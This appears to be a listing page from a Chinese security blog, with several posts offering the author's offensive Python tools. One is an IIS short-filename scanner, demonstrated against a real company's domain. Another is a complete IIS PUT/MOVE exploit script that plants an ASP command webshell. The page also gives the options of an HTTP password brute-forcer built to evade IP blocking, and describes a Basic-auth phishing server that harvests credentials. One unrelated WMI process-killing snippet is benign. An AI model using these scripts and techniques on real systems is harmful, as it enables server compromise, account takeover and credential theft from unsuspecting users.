标签： python

IIS短文件名暴力枚举漏洞利用工具(IIS shortname Scanner)

上文我已经介绍了IIS短文件名暴力枚举漏洞的成因和利用。

这里只是发出昨天写的脚本。

脚本可以测试对应的URL是否存在漏洞，若存在漏洞，则猜解文件夹下所有的短文件名：包括文件和文件名。

网上早前已经有公开的工具了：https://code.google.com/p/iis-shortname-scanner-poc/

我没有参考他的代码。自己用python实现了一个漏洞利用脚本。简单测试，发现比上面的POC能猜解到更多的文件和文件夹。

获取源代码：  https://github.com/lijiejie/IIS_shortname_Scanner   (已于Oct 27, 2016更新）

测试： IIS_shortname_Scan.py http://stom.tencent.com

最终结果：

stom-tencent-com

通过联想，就可以猜解到上传页：  http://stom.tencent.com/tapdupfile.aspx

stom-tencent-com_upfile

----------------------------------------------------------------
Dir: /aspnet~1
File: /logina~1.cs
File: /tapdap~1.cs
File: /tapdup~1.cs
File: /queryg~1.ash*
File: /queryi~1.ash*
File: /queryp~1.ash*
File: /tapdap~1.asp*
File: /tapdup~1.asp*
----------------------------------------------------------------
1 Directories, 8 Files found in total
Note that * is a wildcard, matches any character zero or more times.

 

python在子线程中使用WMI报错-2147221020

我在一个python脚本中用到了WMI，用于确保杀死超时却未能自己结束的进程 (已经先尝试了Ctrl+Break中止)。

测试代码运行正常，但当我把这个函数放在子线程中使用时，却发现报错：

com_error: (-2147221020, ‘Invalid syntax’, None, None)

后来在网上检索，发现必须添加初始化函数和去初始化函数，所以在一个子线程中可使用的函数代码类似于：

import win32com.client
import pythoncom
import subprocess
import logging

def task_kill_timeout(timeout):
    pythoncom.CoInitialize()
    WMI = win32com.client.GetObject('winmgmts:')
    all_process = WMI.ExecQuery('SELECT * FROM Win32_Process where Name="aaa.exe" or Name="bbb.exe" or Name="ccc.exe"')
    for process in all_process:
        t = process.CreationDate
        t = t[:t.find('.')]
        start_time = time.strptime(str(t), '%Y%m%d%H%M%S' )
        time_passed_by = time.time() - time.mktime(start_time)
        if time_passed_by > timeout:
            logging.error( 'Run taskkill %s' % process.name)
            print 'Run taskkill %s' % process.name
            subprocess.Popen('taskkill /F /pid %s' % process.processid,
                             stderr=subprocess.PIPE,
                             stdout=subprocess.PIPE,
                             )
            time.sleep(1.0)
    pythoncom.CoUninitialize ()

一旦上述aaa.exe，bbb.exe，ccc.exe进程运行超过timeout秒，即会被强制结束。

参考链接：

http://bytes.com/topic/python/answers/608938-importing-wmi-child-thread-throws-error

python IIS Put File脚本

平日上班忙，没怎么整理PC里的代码。 把以前写的IIS put file漏洞的利用脚本发一下，这漏洞实在很古老了。。。

#-*- encoding:utf-8 -*-

'''
IIS put file From https://www.lijiejie.com

Usage:
    iisPUT.py www.example.com:8080
'''

import httplib
import sys

try:
    conn = httplib.HTTPConnection(sys.argv[1])
    conn.request(method='OPTIONS', url='/')
    headers = dict(conn.getresponse().getheaders())
    if headers.get('server', '').find('Microsoft-IIS') < 0:
        print 'This is not an IIS web server'
        
    if 'public' in headers and \
       headers['public'].find('PUT') > 0 and \
       headers['public'].find('MOVE') > 0:
        conn.close()
        conn = httplib.HTTPConnection(sys.argv[1])
        # PUT hack.txt
        conn.request( method='PUT', url='/hack.txt', body='<%execute(request("cmd"))%>' )
        conn.close()
        conn = httplib.HTTPConnection(sys.argv[1])
        # mv hack.txt to hack.asp
        conn.request(method='MOVE', url='/hack.txt', headers={'Destination': '/hack.asp'})
        print 'ASP webshell:', 'http://' + sys.argv[1] + '/hack.asp'
    else:
        print 'Server not vulnerable'
        
except Exception,e:
    print 'Error:', e

在有域名列表的前提下，用来做批量扫描倒还是可以的。
不过目前仍存在PUT File漏洞的主机，实在很少了。
Gist: https://gist.github.com/lijiejie/3eb6c4a1db9b3fe3c59a

htpwdScan HTTP弱口令扫描器(python)

脚本还在不断完善，目前已经可以通过批量导入代理来突破IP限制，密码可hash: MD5、SHA1。

可以通过设定重试条件来解决不稳定主机和ngix指向不同后端的问题（即便4次请求只有一次能正确访问到后台，程序也能破解出账号）。

正在添加对HTTP Basic认证的支持，会考虑加入简单验证码识别。也会考虑做一个GUI工具。啊，有点跑偏了

弱口令破解是我最常用的攻击方式之一。 这种攻击方法对用户量庞大、没有做IP请求限制、没有做密码安全规则、错误提示过于详细的系统，几乎是通杀的。

上周，利用一点时间，我把以前写的暴力破解脚本片段，整理成了一个通用的HTTP暴力破解工具。感谢组里的同事，小松、亮哥对我工作的支持呐。

鉴于是初步实现，肯定有很多不足。 我是想到什么就加进去，所以思路可能有点乱。

optional arguments:
  -h, --help            show this help message and exit
  -f REQUESTFILE        Load HTTP request from file
  -https                Set -https only when load request from file and
                        HTTPS was enabled
  -u REQUESTURL         Explicitly Set request URL, e.g.
                        -u="http://www.test.com/login.php"
  -m METHOD             Set -m=GET only when -u was set and request method
                        is GET,default is POST
  -d Param=DictFilePath [Param=DictFilePath ...]
                        set dict file for each parameter,
                        support hash functions like md5, md5_16, sha1. e.g.
                        -d user=users.dic pass=md5(pass.dic)
  -no302                302 redirect insensitive, default is sensitive
  -err ERR [ERR ...]    String indicates fail in response text, e.g.
                        -err "user not exist" "password wrong"
  -suc SUC [SUC ...]    String indicates success in response text, e.g.
                        -suc "welcome," "admin"
  -herr HERR            String indicates fail in response headers
  -hsuc HSUC            String indicates success in response headers
  -proxy Server:Port    Set HTTP proxies, e.g.
                        -proxy=127.0.0.1:8000,8.8.8.8:8000
  -proxylist ProxyListFile
                        Load HTTP proxies from file, one proxy per line, e.g.
                        -proxylist=proxys.txt
  -fip                  Spoof source IP
  -t THREADS            50 threads by default
  -o OUTPUT             Output file, defaut is Cracked_Pass.txt
  -rtxt RetryText       Retry when it appears in response text,
                        e.g. -rtxt="IP blocked"
  -rntxt RetryNoText    Retry when it does not appear in response text,
                        e.g. -rntxt=""
  -rheader RetryHeader  Retry when it appears in response headers,
                        e.g. -rheader="Set-Cookie:"
  -rnheader RetryNoHeader
                        Retry when it didn't appear in response headers,
                        e.g. -rheader="Content-Length:"
  -sleep SECONDS        Sleep some time after each request,
                        avoid IP blocked by web server
  -debug                Send a request and check
                        response headers and response text
  -nov                  Do not print verbose info, only print the cracked ones
  -v                    show program's version number and exit

获取脚本： https://github.com/lijiejie/htpwdScan

基本用法稍后单独写一篇日志说明。  自己写的小工具，若有自己用着才顺手，自然是不好的。。。

利用HTTP Basic认证进行钓鱼攻击的python脚本

代码片段： https://gist.github.com/lijiejie/d51f843563b732bf3907

1) 什么是HTTP Basic认证

HTTP Basic认证是由web服务器提供的，一种轻便的身份校验方式。

访问某些敏感资源时，服务器将要求输入账号、密码进行校验，通过之后才可继续访问，如下图所示：

http-basic-auth

2) 如何使用HTTP Basic认证钓鱼

最常见的一种攻击方式，是在访问量大、又能够插入第三方图片的页面中，插入由我们构造的超链接。

这样，当别人访问页面时，浏览器就可能弹出对话框来（Chrome不会触发、而其他浏览器多数可以）。

缺乏安全意识的用户可能会把自己的账号密码输入进去，被攻击者截获。

比如上述http://106.187.34.156:1234/img/baidu_logo.gif，背后实际是python实现的一个简单http服务器。

用户初次访问，它会提示用户键入账号。

而一旦提交，它会自动302重定向到百度的logo。同时，把用户输入的账号、密码，Referrer等信息截取。还标记一个Cookie，避免反复提醒用户输入造成对方的警觉。

3) 如何防御

继续阅读利用HTTP Basic认证进行钓鱼攻击的python脚本